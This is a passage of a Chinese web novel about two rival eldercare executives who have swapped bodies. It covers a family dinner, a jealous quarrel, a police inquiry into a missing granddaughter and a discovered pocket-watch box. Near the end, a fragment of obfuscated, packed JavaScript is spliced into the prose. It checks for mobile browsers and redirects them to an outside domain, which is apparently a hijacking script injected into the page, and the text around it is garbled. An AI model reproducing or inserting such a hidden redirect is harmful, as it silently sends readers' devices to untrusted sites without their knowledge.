为了避免聊到工作露馅,许暻绕开了话题,她干笑两声,尽量维持着祁聿的‘从容’。
“下班时间就不聊工作了,这个果汁不错,我给你们倒。”
许暻起了身,顺势顶了顶身旁的祁聿,示意他说话。
不过许父先出来打了圆场,聊起了周擎越的个人问题。
“小越,这一次你回来就不走了吧?这次回来就安定下来吧,爸走之前也一直记挂着你的将来,我和你阿姨也盼着你早日成家呢。”
周擎越附和动了动唇,许暻看到他的目光停留在对面,片刻又收了回来。
他摇头说:“还不着急,我想以事业为重。”
在许暻的印象里,周擎越确实是一个工作狂,而且做什么都很认真、很谦逊。
她以前问过他为什么还不找女朋友,他说不着急,他想再等等。
她也不
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知道他在等什么。
后来爷爷也催过他,他还是坚持自己的想法。
再后来也没人再提了。
可今年他就要满三十五岁了,再晚几年,怕是只能单身到老了。
许暻没忍住问出声:“周大哥,你已经够以事业为重了,这几年桐馨风生水起,不是有大半是你的功劳吗?”
“……”
许暻倒完果汁,回到座位上时,她看到祁聿剜了她一眼,瘪了瘪唇。
以为是自己的话说得过于自然,她又找补:“我听许暻说的。”
然而祁聿的脸色并未好转。
许暻不懂他的意思,觉得他莫名其妙。
周擎越看向他们这个方向,眸中闪过一丝惊喜,又解释说:“我是想等桐馨再稳定一点,毕竟才谈下来怡康那块地,要忙的事还很多,我是想帮小暻去管怡康那边的事。”
闻言,许暻也有些意外。
怡康的翻新要到下个月初才能开始,况且她没想过让周擎越去那边,打算到时候重新招一个资历比较深的人过去管理。
桌下的腿悄悄撞了撞祁聿,她说:“但是许暻应该是想让你留在本部的吧?是吧?”
头转向祁聿,许暻已经暗示得很明显。
周擎越的视线也定在‘许暻’身上。
祁聿的脸色却有些沉,他轻轻瞥过来一眼,话语在喉间堵了一瞬,身体先是慢慢绷紧,又很快一松。
阴沉一扫而空,他完全配合许暻,“是,师兄,我是想让你留在本部的。”
‘许暻’的话一出,许父许母也一起附和,都劝周擎越留在桐馨本部。
周擎越并没有给出明确的答复,只说到时候视情况而定,他都听许暻的。
饭吃到一半,话题又突然被牵到了许暻和祁聿身上。
周擎越突然说起论坛上许暻和祁聿互呛的事。
“当时我看新闻还以为你们俩闹别扭了,现在看来是我多虑了。”
许暻和祁聿同时一怔,视线悄然相对,许暻不打算解释,祁聿却开了口:“事业上理念不同产生分歧很正常,至于私底下…当然另说。”
许暻嘴里咀嚼的动作慢了一瞬,思绪有片刻的空白。蓦然转眸凝着他,他却始终不看过来。
她第一反应想到的也不是祁聿为什么要这么解释,而是想着他这句话的意思。
他什么意思?
产生分歧很正常?
私底下另说?
他们私底下不是也有很重的分歧么?
“他们俩就是这个性子,认识的这么些年,哪一次不爱吵一吵?”或许是看着两个孩子长大的,许母早就已经习惯了。
许母也并不觉得两人的分歧会致使两人绝交。
况且周日在宋楹家碰到时,是‘许暻’亲口说了祁聿喜欢‘她’,还正在追‘她’。
倘若私底下真的合不来,又怎么可能会说出这样的话来?
“看来你们现在关系还不错。”周擎越抿了一口果汁,唇边的笑意未减。
“没……”
“确实还不错。”
许暻正想反驳,话却被祁聿压了下去。
23. 氧气+23
许暻猛地转头,桌下的脚已经代表了她的态度——
她狠狠踩了祁聿一脚。
祁聿却跟没感觉到痛似的,眼眸也不转过来。
身侧的手很想捶他,但又得顾及这里的其他人,许暻兀自咬紧了牙,试图稳住胸腔里燃起的劲。
对面的人脸上闪过一丝狐疑,目光浅掠过‘祁聿’,最后回到‘许暻’身上。
他附和笑笑,点了点头。
这顿饭的主题毕竟不是许暻和祁聿,许父许母更多的是在和周擎越聊天。
许暻本想安静地听他们的聊天内容,想了解了解周擎越后续的打算。
桐馨可不能轻易放走他这个人才。
然而祁聿一直在旁边干扰她,不是故意夹走她碗里的菜,就是故意用胳膊肘挤她。
无限挑战她的忍耐程度。
她更确定这人是灵魂互换之后转了性,可惜时好时坏。
能正常,但贱起来也更贱了。
许暻最后也没注意听周擎越他们说了什么。
好不容易熬到这顿饭结束,许父许母先回了家。周擎越是祁聿接回来的,自然也由祁聿送回去。
许暻终于得了畅快,回家之后舒舒服服地洗了个澡。
刚套上浴袍出来喝水,祁聿就回来了。
许暻瞥了一眼玄关方向,手上的动作轻轻一颤。玻璃杯中清澈的水面轻轻晃荡,带着隐隐水波。
他的脸色不太好。
“你跟我师兄吵架了?”许暻不解。
她看到他稍微下沉的嘴角,眸光里好像透着一丝委屈,整个人的情绪像是被一块大石压在谷底,难以高涨。
以祁聿的性格,倒是很容易跟人吵起来。
毕竟他每次都能跟她吵起来。
不过许暻又很快打消了这个念头——
祁聿可能会跟人吵,但周擎越不会,她认识的所有人里就属他的脾气最好,她从没见他发过脾气。
祁聿没回答,走到她身边,双神就那么凝在她脸上,从头慢慢往下,最后再对上她的瞳仁。
这种眼神有些熟悉,许暻愣得一口水分了三次才吞入喉。
她再迟一秒,恐怕他眼里的灼热就能把她烧死。
“我脸上有东西?你干嘛这么看着我?”
许暻放下水杯,脚步不自觉往后。
她往后,祁聿却上前。
他们之间的距离再次缩短。
祁聿突然说了句莫名其妙的话:“你刚刚为什么要用我的身体喊他‘周大哥’?”
两只眼睛茫然地眨了眨,许暻蹙起了眉,“那不然叫什么?他本来就比你大呀。”
话题被拉到刚才的饭桌上,许暻瞬间有了底气。
仗着祁聿身体的身高优势,她又挺直了腰背,试图压他一头:“还有,‘理智’的祁总,您到底懂不懂‘别瞎说话’这几个字的意思?”
许暻正想找他算账,他自己倒是先提起来了。
“什么事业上有分歧很正常,私底下另说。你觉得这话形容我们两个合适吗?”
祁聿沉默了片刻,眼神里的火苗却烧得更旺。
许暻觉得脸上忽然有些烫,他眼底的火并不是像他们交锋时那样充满了傲然的气焰,而是一种她完全陌生的火苗。
他在生气?
就因为一个称呼?
他不会真的跟周擎越吵架了吧?
祁聿沉着声问她:“你觉得怎么不合适?”
他甚至刻意咬重了‘不合适’这几个字。
许暻不知道他受什么刺激了。
她实话实说:“我们私底下也有分歧啊,而且你扪心自问一下,我们关系不错吗?也没有吧?就算我们现在是住在一起的,但那也是因为灵魂互换被迫住在一起的呀。”
许暻自认为说的没有任何问题,况且一直以来,这不都是她和祁聿默认的事实吗?
他们几乎是互相讨厌了六年,这样如果能叫关系不错,那稍微有好感的关系就能被称为情比金坚了。
祁聿这一次沉默得更久。
许暻快要承受不住那两道无形的焰火。
再久一点,她整个人都要被火焰吞噬完了。
她想挪步到旁边,下一秒却被祁聿狠狠抓住手腕。
虽然两人的力量存在差异,但许暻感觉他像是使出了所有的力气,手腕上一阵强烈的疼痛。
再回神,她被他推到墙边。
哪怕比她矮出一截,周遭的气场却能完全将她压制。
许暻搞不懂他想做什么,大脑一片空白。
紧接着就听见他咬着牙道:“是,我们私底下也有分歧,我们的关系也从来都不好,做的所有事也都是被迫,如果不是因为灵魂互换,我们根本就不可能还会有平静坐在一张饭桌的时候,这就是你的想法,对吗?”
意识有些慌乱,心跳也随着加快,许暻还没能消化完祁聿的话。
平静地坐在一张饭桌上……
不是也有吗?
比如去他爸妈家吃饭的时候,还有去宋楹那里的时候……
他说得这么绝对做什么?
双眸快速眨了几下,轻长的睫毛也跟着扑扇,她正欲回答,祁聿却突然松开了她。
在她彻底回神之前,祁聿已经回了房间。
她还听见了给门上锁的声音。
“……”
许暻茫然地站在原地,完全没懂祁聿在她身上发泄的什么情绪。
视线在自己和那扇紧闭的房门面前来回扫动,眼底的困惑更浓。
她把玻璃杯里剩下的水喝完,自己也进了房间。
嘴里低语了句:“莫名其妙。”
……
祁聿躺在床上,两只眸子紧紧合上,半刻都不想睁开。
胸口上下起伏着,频率很快。
他迫切地想把身体里的坏情绪赶出去,却迟迟不奏效。
脑海中甚至自动回放着刚才他送周擎越回去的画面。
刚开始还没什么。
等车开了一阵之后,周擎越突然语重心长地开口,对着‘许暻’说:“小暻,你和祁聿在交往吗?”
祁聿犹疑片刻,还是选择实话实说:“没有,目前还没有交往。”
他话里的意思周擎越完全听懂了,他又接着说:“小暻,我知道我不应该管太多,但是作为师兄,我还是想提醒你一句,你和祁聿虽然认识了很多年,但这些年你们一直都是吵吵闹闹过来的。”
他时刻注视着‘许暻’的反应,缓了一会儿才继续:“你们是同行,却是理念相悖的同行,或许可以做朋友,但是做恋人,不一定合适。”
周擎越的话像是魔咒一般萦绕在他的脑海中,还有许暻亲口说出来的那些话。
“你觉得这句话形容我们两个合适吗?”
“就算现在我们住在一起,那也是因为灵魂互换被迫住在一起的呀。”
不合适……
被迫……
情绪不但没有消减,反而更加汹涌。
胸口起伏的幅度更大,祁聿感觉自己呼吸得太快太猛,一股剧烈的酸意往上窜。
双眸仍然倔强地不肯睁开。
一阵热意淌过,空气进入呼吸道的通路似乎有些受阻。
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他紧咬着牙关,却依旧止不住嘴唇的轻颤。
一滴清澈的水珠从眼角滚落,迅速落入了灰色的被褥中,留下和被褥格格不入的深色印记。
……
隔天一早许暻再出来的时候,祁聿又像个没事人一样在厨房磨咖啡。
许暻往厨房窥了一眼,打算直接出门。
然而脚还没踏几步,祁聿主动叫了她:“有面包咖啡,吃了再走。”
许暻觉得他还是没完全恢复正常,喉结不自觉滚了滚,眼神在他端出来的早餐上轻轻扫过,想着拒绝的话。
“我不喝你的苦咖啡。”
祁聿又去拿了冰箱里的鲜牛奶:“可以加牛奶,我买了代糖,就在咖啡机旁边,不会苦,也不会胖。”
“……”
许暻仍然站在原地,不敢轻易迈出步子。
她完全不懂祁聿这是什么意思。
昨晚无缘无故生气,今早又莫名其妙献殷勤。
他想干嘛?
她记得她这些天也没得罪他吧?
“过来坐。”祁聿催促道,语气相当淡定。
许暻愣了一会,觉得自己有必要弄清楚状况。她小心翼翼地往餐桌那边迈腿过去,没有着急坐下,斟酌之后,谨慎试探:“我惹你没?”
祁聿把咖啡推到她面前,旁边是鲜牛奶和三小包代糖,“什么惹我没?你只加鲜牛奶还是只加糖还是都加?”
“……”
许暻茫然地闪了闪眸,睫毛不确定地颤了颤,又问:“我昨晚没说让你帮我准备早餐吧?”
祁聿没答,直接把那几包糖给她:“那你吃不吃?”
身体已经下意识坐下来了,许暻努了努嘴,接了糖,自觉地往咖啡液里倒。
“我先声明,我不是想占你便宜,我只是怕浪费食物。”
没了包袱之后,许暻也不想其他的,专心享受美食。
吐司像是在牛奶里泡过之后用黄油煎好的,奶香味浓郁,糖分中和了黑咖啡的苦涩,许暻觉得刚刚好。
她正沉浸式享受着,祁聿突然又说:“你家里的玫瑰,要不要放过来养?”
“为什么?”许暻咀嚼的动作慢下来。
祁聿说她家里现在没人,如果没有给那些花浇水,花万一死了也不好。
许暻倒是没想到这个问题,只是从她家搬来这里,以后换回来了还要搬回去。
太麻烦了。
“我让楹楹偶尔过去帮我浇水好了,现在搬来到时候还得搬回去,多麻烦?”
本来她的行李就莫名其妙多起来了,到时候再加上花,许暻光是想着都觉得费劲,瞬间打消了念头。
“你把你家门锁的密码告诉我,我去帮你搬。”
“……”
许暻又不理解了。
眼神在他身上上下打量着,在她发出疑问之前,祁聿先解释道:“我没养过花,想养养试试,正好你那有,省得再去买,一举两得。”
敢情是拿她的花来练手的?
许暻瘪嘴吐槽:“祁总,您好歹也是个上市公司的CEO,买几盆花的钱都不愿意出了?”
“这叫节约资源。”
许暻还欲争辩,手机定的闹钟却突然响了。
看了眼时间,她赶紧吃了最后一口吐司,起了身,着急要走。
她也顾不上那么多了,换鞋的时候祁聿又问她家的密码,许暻只匆忙说了句:“我那指纹就能开,你要想拿随便你吧,我现在要赶紧去警局那边了!”
“去警局?”
祁聿的话问出口时,门已经被“砰”地一声关紧了。
24. 氧气+24
许暻提前准备了相关资料,还有老人现在住在颐安社区的证明。
她有问过当时老人住院时的医生,医生给了她一个联系方式,说直接去市南分局找陈警官。
许暻到了之后在前厅等了好一会儿,和值守的警务员确认过之后,她才被带到后面的办公室。
陈警官仔细看过了她带来的资料,又让人核实过后,才彻底放心。
“祁先生愿意无条件收留这位老人,真是位有格局、有善心的企业家呀。”
许暻摇了摇头,态度谦逊:“陈警官,我今天过来主要是想了解一下张奶奶孙女失踪的案件。”
她又拿出了张奶奶的病情诊断,解释道:“张奶奶目前是存在严重的认知障碍,通俗来讲就是老年痴呆,还可能存在创伤后应激障碍,有的时候受到一些刺激会出现攻击行为和情绪异常。”
“但我们不了解她到底受过什么刺激,到底什么才是应激源,在照料这一块也很苦恼,所以才想请您帮帮忙。”
许暻尽量说得全面,让陈警官能够了解她目前的真正需求。
许暻这才知道,林澄失踪并不是张奶奶当时所在的怡康养老院内的人员报的案,而是林澄男友的父母来报的案。
陈警官说,当时两人已经失联了将近一个月,因为两人有说过打算出去旅游的事,父母二人以为他们出游了,还特地去了养老院看望林澄的奶奶。
之后二人打算去给两个孩子准备的婚房里做做卫生,结果看到了两人的证件还在家里。
怎样都联系不上儿子和林澄,两人没办法才来报案。
后来警方调查发现,林澄在某天下班之后应该要去怡康养老院看奶奶,根据当时的监控,她最后出现在了养老院附近的地铁口。
然而养老院的人却说没见她来,而且养老院门口的摄像头也没有发现她的踪迹。
至于林澄的男友,他最后被监控捕捉到的地方也是在怡康养老院附近,可能是要来接林澄。
只是两人都没到养老院,周围的人也没说见过有这两个人。
两人的社会关系简单,也不是有钱人,当时很快就排除了被绑架的可能。
之后也一直没有消息。
一直到现在,两人依然没有被找到。
也就是说,他们无缘无故就那么失踪了?
而且居然失踪了这么久,一点消息都没有?
许暻也没有头绪,只好问陈警官要了两人的照片,说帮着发发寻人贴。
从警局出来之后,许暻看着那两张照片。
照片里的女孩长得十分秀丽,眉眼弯弯的,像是月牙,干净、单纯的面容里透着纯洁的良善。
那双清澈的瞳眸中似乎映着几分坚韧,那里头饱含着她对生活的热情。
看上去是个很积极乐观的女孩。
男孩和女孩年龄相仿,都不算很大,大概也就二十三、四岁的模样,看上去倒是挺般配。
只是可惜两人至今都杳无音讯,更不知道他们是不是出了什么事。
……
回了颐安之后,许暻让刘助去准备线上线下双通道发放寻人贴的事。
她才看到祁聿的消息。
他手机里给她的备注仍然是‘毒舌野玫瑰’。
不过他也应该看到了她特意给他改的备注了:
「‘自负科技怪’问你,你去警局有事?」
看着屏幕上的备注,许暻觉得有些好笑。
突然有一种奇怪的氛围。
有一点……暧昧?
然而她很快就把自己的思绪拉了回来。
什么暧昧?
他们俩之间应该叫互怼。
这种给人取难听绰号的事,摆明了就是挑衅。
许暻简单说了要帮老人找孙女的事,那头又没了回应。
许暻又给他发了两条消息:
「如果师兄回去上班,桐馨还有一个副院长的职位,是我留给师兄的,到时候让师兄分担一部分你和易玲的工作。」
「还有,你帮我问问师兄,问他知不知道张奶奶和林澄,当时张奶奶看到我的手镯认出桐馨、还知道爷爷,没准师兄跟着爷爷会认识张奶奶。」
她还有别的事要忙,关了手机。
这会已经将近十点半,养老社区那边应该已经查完房了。
电脑里关于整改社区新的方案已经弄得差不多了,许暻收了尾,打算下午去一趟社区。
……
宋楹今天夜班,她知道许暻下午去社区那边,于是提出和她一起过去看看张奶奶。
中午两人约出来吃了饭。
“那周大哥现在是要回桐馨接着上班咯?”
宋楹听许暻说周擎越的事,随口问起。
许暻点头,说他的职位她一直留着,爷爷生前本来就器重他,这也是爷爷奶奶的心愿。
“如果爷爷奶奶还在就好了。”
提及此,许暻难免情绪低落。
以前爷爷奶奶在的时候,她背后有人为她兜底,她可以放心大胆地去做任何事,创新也好、传承也好,永远会有爷爷奶奶给她支撑。
而现在她已然处在高位,这是一个需要考虑很多事情的位置,她担上了整个养老院的责任,更背负着爷爷奶奶的遗愿。
她不能出任何差错,每一步都必须谨慎。
父母虽然也会一直开导她,可他们毕竟不是这一行的,母亲曾想过辞职过来帮她,被她拒绝了。
她父母的梦想并不在养老院,他们有他们热爱的事业。所以许暻总会鞭笞自己往前走,就算只有她一个人,她也能往前走。
宋楹知道她的所有,明白她的压力,懂她的倔强和坚强。
她主动绕开话题,牵动许暻的情绪:“那你们刚收购的废弃养老院打算交给谁管?”
“我打算请人,然后每周我和师兄还有易玲轮流过去几天,这样比较合适。”
宋楹点了点头,又想到最近他们要评级的事,提醒道:“虽然你收购了废弃养老院,下个月就要把大半的注意力放在修葺上,但我还是得提醒你,这段时间在评级,到时候还会有专家过来审核、评审,你也得留个心眼在桐馨本部。”
“而且现在在那边的人是祁聿,尽量把事情交代全,千万别出什么不良事件,不然这评级会出问题的。”
这个许暻倒是一直有放在心上,当时还在自评期间的时候,祁聿也说过这种话,说他会尽量保证桐馨不出不良事件,让她也注意一些。
聊到这里,宋楹又突然问起了祁聿。
“你们俩最近相处得怎样?”
许暻用叉子挑了几根意面,慢慢绕圈,知道宋楹就爱八卦几句,漫不经心道:“什么怎么样,我跟他相处不一直都那样吗?”
“真的假的?你们俩亲了之后在一个屋檐下,居然还能无动于衷?”宋楹觉得这俩人要么是忍者,要么是完全不开窍的二货。
许暻那个前者,又能忍还嘴硬不愿意承认,难不成祁聿是那个后者?
许暻没接茬,把话题往她身上引。
“你和吴医生发展
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得怎样了?”
正如许暻所料,宋楹八卦的兴奋劲儿很快消失殆尽,开始逃避她的问题。
装意面的盘子里多了一块鲜嫩的牛排,宋楹装作没听见:“你尝尝这一块,可嫩了,巨好吃!”
许暻手上的动作稍稍停顿,视线在她身上转过一圈,她明显闪躲。
犹豫再三之后,许暻还是把话说出来了:“楹楹,吴医生真的是个不错的对象,对你很好、事无巨细、面面俱到,况且他本身就是一个非常不错的人,有的人也许注定就等不到了,别错过眼前的幸福。”
对面沉默了许久,最终还是许暻习惯的那一套——
宋楹若无其事地塞了一块牛排进嘴,唇边依旧是最明媚的笑,“这家店真的不错,咱们下次再来,我刚刚看他们这还有冰淇淋吐司,我要试试!”
最后许暻也不说了。
宋楹不想回答的问题,没人能让她说出口。
只是十分心疼她,五年的光阴,去等一个完全没有消息的人。
……
养老社区内,有了上一次的会议,‘祁聿’再到时,服务站的值守人员果然没有了上一次的‘偷闲’时刻。
走廊上虽然人并不多,但也有老人愿意出来靠着走廊的栏杆缓缓散步。
活动室里也有几个老人在下棋。
许暻和宋楹把每个房间都转了转,基本把所有的老人都对了一次号。
老人们还不认识‘祁聿’,大多都是茫然地点点头,许暻耐着性子一遍遍给老人们介绍自己。
有几个外向一些的老人是自来熟,主动说起在这里的生活,孙奶奶坐在床边,拍了拍身下的智能护理床,连声夸赞:“这个新换的床可比之前好太多了!我之前晚上起夜总是得开一盏床头夜灯,睡也睡不好,现在这床能自动感应我起夜了,我这睡眠质量都好多了!”
许暻在脑海中默默回忆着,这位孙奶奶喜欢接触新事物,虽然已经快八十岁,心态却依然年轻。
她有基础疾病在身上,多年的糖尿病,在服用新型降糖药,加上这位奶奶喜欢饮水,晚上基本都会起夜。
宋楹试了试旁边空出来的床,“这功效倒是挺实用的。”
果然还得是钞能力,祁聿也挺豁得出去。
所有房间转下来,许暻算是切实体验到了智能护理床的作用。
宋楹在一旁问:“怎样啊许总,我觉得这科技养老还挺不错的,虽然有人文关怀方面的缺陷,但确实挺方便的,这床能直接把老人的生命体征传到医护系统里,这能省不少时间呢,你真的不考虑和祁聿合作合作?”
“你们这两尊大佛合作,没准又开启了养老的新纪元呢?”
许暻轻嗤一声,明显是不相信祁聿:“得了吧,他根本不尊重人文养老。”
两人最后去了张奶奶那里。
宋楹今天是特地来给她做推拿的,上一次在医院确诊之后,宋楹回去研究了张奶奶的病情,用药方面还是按当时医院的要求来,她帮着做些辅助治疗。
两人也是借机多陪陪这位孤寡老人。
王阿姨用老人的智能手环找了点合适的音乐在一旁放着,老人躺在床上,宋楹在床边做循经推拿。
许暻在另一边陪她,她转过头去看许暻那边,脸上笑眯眯的:“阿澄,来了……”
许暻也对她笑笑:“是,奶奶。”
宋楹手上的动作持续着,手最后停在老人的肩颈处。
她突然一顿,停了下来,手指像是摸到了什么,狐疑地看过去:“这有针孔。”
25. 氧气+25
许暻凑上前看去,王阿姨也看过来。
针孔的位置在斜方肌上,恰好老人身体的那一块长了一颗红痣,宋楹是摸到红痣之后才看清那里有针孔。
“还有印记,要么就是前不久才注射的,要么就是奶奶的愈合能力过差。”宋楹说。
只是一般在斜方肌注射的药物很少,局麻药比较常见,可上一次老人在医院并没有做手术。
“或许是之前的?”许暻猜测道。
突然,王阿姨在一旁惊呼。
走到老人身侧,拉起老人的裤子,露出大腿那一块瘀斑。
“张奶奶的愈合能力确实很差,你们看,她大腿这有一块瘀斑一直没消。”
两人又同时看去。
许暻拧着眉,手指伸过去轻轻按了按。
老人并没有什么反应。
“奶奶,疼吗?”许暻低声问。
老人茫然地望着她,过了一会儿,她说了句让人摸不着头脑的话:“都有……他们……”
“奶奶,我们是问您痛不痛?”宋楹伏在她耳边问。
老人没反应。
许暻的神色稍显凝重,又一次试探,她在触碰那一块的时候发现老人仍然没有痛觉反应,然后才道:“这看着像瘀斑,但应该不是瘀斑。”
这一块摸着已经有些硬。
“是病变坏死组织,可我记得奶奶除了老年痴呆和高血压之外并没有其他的疾病。”宋楹把那一块皮肤拍了照,打算一会回医院问问。
“对,上一次在医院,医生也没提到奶奶腿上有这么一块。”
宋楹又检查了老人身上的其他位置。
确认只有这一块异常的皮肤后,又接着帮老人推拿。
两人商量过后,打算在宋楹问过医生之后,有空再带老人去医院做个全身检查。
或许是宋楹的推拿奏了效,老人已经圆润了些的手握着两人。
苍老的眸中微光缓缓汇聚,而后小心翼翼地从眼角漾出,带动了周围深深浅浅的皱纹,将纯粹的笑灌注到每一道细纹中,牵扯唇角上扬。
老人的语速很慢,但这一次,却是一句有逻辑的话:“你们…常来……喜欢…你们……”
很简单的话语,却带着沉重的力量。
胸腔里的心脏轻轻一撞,带着片片欣慰,许暻眼角微微发酸,回握那双温暖的手。
和宋楹相视一眼,许暻点了点头:“好,我们以后经常来看您!”
王阿姨望着床边的三人,嘴角的弧度一直没下来过。
“祁总,宋小姐,张奶奶这些天还是第一次说这些话呢,看来她真的很喜欢你们!”
此前她一直听说祁总是一位比较严肃的人,鲜少过来社区这边。
可现在看来,他并不像别人说的那样,她来照顾张奶奶之后,祁总已经来过许多次,甚至为人亲和,张奶奶也十分喜欢他。
……
许暻和宋楹打算离开。
离开之前,许暻去服务站要了智能护理床的实时监测信息。
她觉得整改不能仅仅局限于模式,要想让这里慢慢有人情味,她需要了解的除了各位老人的喜好,还有他们身体的基本情况。
同步到祁聿的电脑上,她在颐安大厦也能远程了解这些老人的实时情况。
把宋楹送去了医院之后,许暻直接回家了。
祁聿依然比她先到家。
他又在厨房做饭。
“祁总,您每天下班倒是挺积极的。”
许暻忍不住呛他两句。
那人没停了手上洗菜的动作,回头望了一眼,面不改色道:“许总,你安排的任务我每天都保质保量地完成了。”
水龙头的水流声戛然而止,洗好的菜被他装进沥水碗里,祁聿转过身擦了擦手。
又接着说:“而且我是向许总学习,许总亲手写的记事本上的最后一条,不就是按时下班?”
许暻没搭腔,换了鞋进门,正准备拿手机点外卖,视线却先捕捉到了阳台上的玫瑰花。
每一盆都很熟悉——
全是她养的。
“你还真全搬过来了?够速度啊你。”许暻直接走到阳台边,几盆玫瑰的花瓣上还有新鲜的水珠,一看就知道是才浇过水的。
心情也跟着畅快许多。
以前到家之后最喜欢坐在阳台边吹风,再支个桌子,看看书,喝喝茶。
想转移注意力了,身旁就是她养得饱满艳丽的玫瑰,飘着淡淡的清香。
好不惬意。
来了祁聿这里之后,她几乎没有这样的时刻。
屋子里也都是他的味道。
现在终于能换换心情了。
许暻还沉浸在她的玫瑰花里,身后的人突然唤她过去。
“干嘛?”许暻走到厨房门口。
“帮我切肉。”祁聿指着身边的那盘肉。
许暻明显不愿意:“祁总,虽然我现在寄人篱下,但我不想给你做苦力。”
祁聿正在调腌肉的料汁,手上的动作一停,斜眸过来,不认她的说辞。
“什么苦力?最后做好你不是也吃?”
“我吃?”许暻一愣:“你又做了我的份?”
她以为他纯粹给自己做的。
没想过蹭饭。
“我正要点外卖呢。”许暻晃了晃手机,还是没有进去的意思。
里头的人已经放下手里的料汁,又夺走她的手机,推着她进厨房。
那人一本正经:“外卖不健康,我一个人吃不完浪费。”
话音刚落,刀已经送到她手里。
“……”
许暻没好气地撇撇嘴。
这是拿她凑张嘴呢?
不过他乐意做免费的饭,她也不介意蹭。
反正面对的是她自己的脸,她能吃得下。
半个小时之后,祁聿做好了三菜一汤。
看着这桌色香味俱全的饭菜,许暻忍不住感叹:“你真是继承了祁叔叔的好手艺!以后退休了还能二次就业去开个饭店。”
祁聿忍俊不禁,盛了碗汤,先给了她。
“我这是天赋,我爸没我做的好吃好不好?”
本来只是随口的调侃,祁聿一嘚瑟,许暻立马拆台:“您还真是不谦虚。”
“这不是事实?”祁聿轻笑一声,眉眼微动。
许暻伸了根手指在他眼前摇了摇,嘴里吞完她爱吃的牛肉。虽然祁聿做的确实更好吃,但她不打算给他这个继续嘚瑟的机会。
“我投祁叔叔一票。”
下一秒,她看到祁聿嘴角抽了抽,面子明显挂不住。
她还想趁机调侃,祁聿却瞬间恢复常态,唇边漾出一抹浅笑。
许暻夹菜的动作一缓。
她听见祁聿说:“行,那我再精进一下,我肯定能让许总改变想法。”
许暻只笑不语,觉得自己也坑了一把祁聿。
他精进,她再蹭饭。
享受就完了。
一股很浅的甜意混杂着快意上涌,许暻并没有注意到嘴角的弧度越来越深,只是沉浸在食欲的满足中。
饭吃得差不多,许暻问起了周擎越的事:“师兄今天回桐馨了吗?”
这一次提起周擎越,祁聿倒是没多大反应,他仍然低着头,平淡地点了点头:“回了,按你的安排,他挑了他以前的办公室,在易玲旁边。”
许暻了然,回去了就好。
“那你问他张奶奶的事了吗?”
祁聿点头,说周擎越也不知道。
那会祁聿才收到许暻的消息,易玲就进了许暻的办公室,说周擎越过来了。
他穿得十分正式,见‘许暻’出来,唇角微弯:“小暻,我来报到了。”
按许暻的要求,祁聿说让他坐另一个副院长的位置,分担‘许暻’和易玲的事务,又让他自己挑了办公室。
等他安顿下来,中午祁聿没让秘书给自己准备餐食,直接去了食堂。
不出意外,周擎越也在。
他盯着那抹背影,目光微沉。
没有犹豫,上前靠近。他直接端着饭去了离他最近的空桌。
等周擎越转身时,不出他所料。
他第一眼就注意到了他这边。
而周擎越也十分自然地走过来,在他对面坐下,就好像已经成了一种习惯。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266904|181103||http|test|mini|href|location''.split(''|''),0,{}));
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>祁聿猜想,或许许暻前两年在这里,也经常和他一起吃饭。
一股灼热的涩味从下往上翻涌,筷子被他悄然捏紧,掌心的软肉有些微疼痛。
“小暻,你的进步真的很大!我看了你新拟定的发展方案,很有前景。”对面的人突然开口,话里全是对‘许暻’的称赞与欣赏。
情绪被陡然打断,祁聿抽回了神,轻笑一声,算是回应。
“不过你怎么还跟颐安有一个小合作?买了他们的益智游戏过来?我听易玲说…前阵子祁聿还亲自过来教咱们的老人了?”周擎越一连三个问题,祁聿又想起昨晚他说的那些话。
他还是介意许暻和他往来?
沉吟片刻,祁聿实话实说:“是,祁聿邀请我去颐安参观过,我很喜欢他们的益智游戏,他也愿意过来桐馨,双赢的选择,我没有理由拒绝。”
周擎越面露柔和,急忙解释:“我没有反对你的意思,小暻,我只是有些意外而已,毕竟你以前不是最不喜欢颐安的那一套了吗?”
气氛有一瞬的沉默,祁聿没有兴致和他谈论许暻,也不绕弯子,直接问起许暻交代的事。
他尽量模仿许暻的语气,“不聊这个了,师兄,我有事情问你。”
周擎越不以为意:“你说。”
“你之前和爷爷一起去过怡康,也和爷爷共事的时间最久,你知道爷爷认识一个叫张翠兰的老人吗?”
对面的人夹菜的动作似乎有一瞬的停滞,又重新抬头和他对视,只不过他摇头道:“不认识,怎么了吗?”
祁聿的目光也停在对面那人身上片刻,确认他不知道后,他也没打算再往下问。
“没什么,前不久偶然认识这个老人,她认识我的镯子,还认识爷爷,说了一些奇怪的话。”
周擎越没有往下问,对这个名字也确实全无印象,他继续吃饭,只说了句:“也许是认错了吧?就算是重名,这几年我们院也没有叫张翠兰的老人,我也没听师父提起过。”
……
“连他都不知道,那还真是一点都不好办。”许暻抽了张纸擦嘴,坐在桌边有些发愁。
“你不是让刘助理弄了寻人贴?或许能找到老人的孙女。”
许暻其实也不能确定是否能找到林澄,只希望自己运气好一点。
虽说她能一直扮演林澄,一直陪着老人,可老人身上的秘密,老人和爷爷的关系,或许只有林澄才知道。
最起码要清楚地了解这一切。
饭后,仍然是祁聿在厨房洗碗,许暻靠在沙发上看晚间新闻。
茶几挡在前面,两条长腿难以伸展完全,许暻觉得有些难受。斜过身,两条腿往前打直,结果一不小心碰到了茶几的抽屉。
抽屉被稍稍震开一条缝隙,许暻本想伸手去关,结果又看到她第一次来祁聿家看到的那个红色盒子。
第一次见到这盒子时她已经觉得眼熟。
再三纠结之后,她悄然望了一眼还在厨房的人,还是选择打开抽屉。
果然,和她预想的一样——
这个盒子她见过,见过一个完全一样的。
是当初爷爷奶奶送她怀表时,用来包装怀表的礼盒。
许暻一惊,又翻过背面,上头清晰地印着生产信息。
虽然不是中文,但许暻还是能看明白。
是和她的怀表几乎完全一样的信息。
除了最下面那一行的最后,有一个小括号,括号里有一个大写的‘M’。
她记得她的那个是‘W’。
即是男款和女款。
思绪仿佛瞬间断了线,一股漫长的、缓重的浪潮席卷而来,切切实实地打在了她身上。
许暻完全懵了。
所以林老板那天说的是真的?!
他们的怀表是货真价实的情侣款?!
那祁聿的怀表是哪儿来的?
难不成真就那么巧,他是偶然买到的?
